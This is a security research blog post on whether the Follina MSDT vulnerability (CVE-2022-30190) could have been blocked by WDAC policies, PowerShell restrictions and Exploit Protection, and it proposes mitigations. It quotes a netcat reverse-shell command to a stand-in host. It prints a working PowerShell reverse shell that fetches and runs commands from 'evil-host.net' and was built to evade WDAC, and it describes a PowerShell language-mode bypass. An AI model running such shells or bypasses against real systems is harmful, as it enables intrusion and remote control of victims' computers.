· Adam Hacham, Hector Fétis · research · 5 min read

Could we have prevented MSDT - Follina (CVE-2022-30190)? An exploration study

Once an attack is known, it is generally easy to come up with a fix or at least a mitigation measure. What is more difficult is to design a generic preventive measure that would have defeated the attack in the first place

Once an attack is known, it is generally easy to come up with a fix or at least a mitigation measure. What is more difficult is to design a generic preventive measure that would have defeated the attack in the first place

Once an attack is known, it is generally easy to come up with a fix or at least a mitigation measure. What is more difficult is to design a generic preventive measure that would have defeated the attack in the first place. We have studied CVE-2022-30190, also known as Follina, and tried to come up with good security practices and policies that would have prevented the 0-day from doing much damage to otherwise vulnerable computers. We have considered Windows Defender Application Control (WDAC) and other mitigation schemes. Here are our findings.

MSDT - CVE-2022-30190 Exploit

CVE-2022-30190 is a remote code execution vulnerability which can be triggered by using the msdt protocol in a URL embedded within a document. With the right payload, it is possible to invoke the Microsoft Diagnostic Tool utility and use it to run arbitrary PowerShell code when a Word document is opened by the user. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. Thus this vulnerability is highly valuable to get an initial foothold in a system or network, opening the door for further exploitation like installing programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.

We have conducted our analysis using John Hammond’s Follina exploit, with minor changes to make it fit to our test environment.

A more in-depth analysis of CVE-2022-30190 can be found on Huntress’s blog.

Windows Defender Application Control: Detect and Prevent

Detection

With only the DefaultWindows_Enforced.xml sample WDAC policy applied on the victim host, triggering the exploit adds an entry to the logs indicating that a TS_ProgramCompatibilityWizard.ps1 script is executed in a temporary directory (sample policies are provided by Microsoft and can be found in C:\Windows\schemas\CodeIntegrity\ExamplePolicies).

illustration

Prevention

WDAC is very effective when an attacker tries to run arbitrary binaries. For example, John Hammond’s proof of concept has a reverse shell mode in which it downloads a netcat binary and uses it to connect back to the attacker’s computer with the following command: “nc -e cmd.exe evil-server.net 80”. Because our WDAC policy only allows binaries signed by Microsoft and netcat is not a trusted binary, it execution is blocked and the attack fails.

illustration

Bypassing the WDAC Policy (Follina Context)

Unfortunately, this is not a perfect solution, and we were able to work around the WDAC Policy by crafting a simple Reverse Shell, which lives in the PowerShell host, and only leverages basic commands such as Invoke-WebRequest. As it is a pure Powershell solution and remains simple enough, it is neither affected by the WDAC Policy nor by potential PowerShell language restrictions. This illustrates well how WDAC will fail to prevent any attack which relies only on trusted binaries.

Client Reverse Shell

$u = "http://evil-host.net"
Invoke-WebRequest -Uri ($u + "/new") -UseBasicParsing
while($true) {
    $body = Invoke-WebRequest -Uri ($u + "/requests") -Method Get -UseBasicParsing
    if ($body.Content -ne $null) {
        $result = Invoke-Expression $body.Content | Out-String
        Invoke-WebRequest -Uri ($u + "/result") -Method Post -Body $result -UseBasicParsing
    }
}
illustration

A PowerShell language mode bypass

We noticed two different behaviors depending on the context in which the MSDT exploit is run.

In the PowerShell session obtained from the Word msdt/Follina exploit:

$ExecutionContext.SessionState.LanguageMode
FullLanguage

When invoking the same command manually from a PowerShell window:

$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

This clearly shows that when no other PowerShell context is available, the troubleshooting script is run with less restriction than the system’s default. In this instance, we manage to execute code in full-language mode rather than constrained language mode. Beyond gaining an initial access to a victim computer, this technic can also be used by an attacker who already has access to the system, in order to bypass language restrictions. It is important to note that Microsoft has always stressed out that such restrictions should not be considered as security measures, but rather as simple safeguards against errors.

Unsuccessful Mitigation

During our tests, blocking PowerShell appeared as a good way to reduce the attack surface and prevent exploitation, so we deployed a WDAC policy to block powershell.exe and all its dependencies. This attempt was not successful and the test system still remained vulnerable to CVE-2022-30190, as long as the payload did not try to invoke PowerShell directly. This is due to the fact that MSDT uses its own PowerShell host in a sdiagnhost.exe process.

First Mitigation

Another way to reduce the attack surface is to block MSDT by using WDAC, which successfully stops the attack. This illustrates why binaries that are not strictly required for normal use should not be allowed to execute on sensitive hosts, even if they are component of the Operating System. In fact, Microsoft has a list of executables that should be blocked when possible, but MSDT is not among them.

illustration

Second Mitigation

With further investigation, we have discovered that the attack relies on the execution of the TS_ProgramCompatibilityWizard.ps1 script, which runs in the diagnostics PowerShell host and is therefore allowed to run in FullLanguage Mode. It turns out that this behavior can be changed by setting the HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics\ExecutionPolicy to Unrestricted. It successfully prevents the diagnostic script from executing and stops CVE-2022-30190, which relies on TS_ProgramCompatibilityWizard.ps1 to execute PowerShell code.

illustration

Third Mitigation

Microsoft also provides the Exploit Protection tools, which can be used to forbid programs which do not need to do so from spawning child processes. On this specific example, the mitigation can be applied to Word, and prevents it from invoking MSDT, but similar exploits are still possible, from example by exploiting Edge instead of Word, as the former requires the permission to start child processes to function properly.

Lab Environment

  • Attacker Host: Linux
  • Victim Host: Windows 10 21H2 with the DefaultWindows_Enforced.xml WDAC policy applied in Enforcement Mode, no internet connection and Windows Defender enabled.
illustration

Conclusion

This study shows that it is difficult to design a preventive measure for a zero-day attack like Follina. So reaction and adaptation are key factors for effective security. However, lessons learned from the study of exploits can also be used to design broader mitigations that could prevent the next zero-day. Our first and second mitigations are original as far as we know, and have this potential.

Reference

Back to Blog

Related Posts

View All Posts »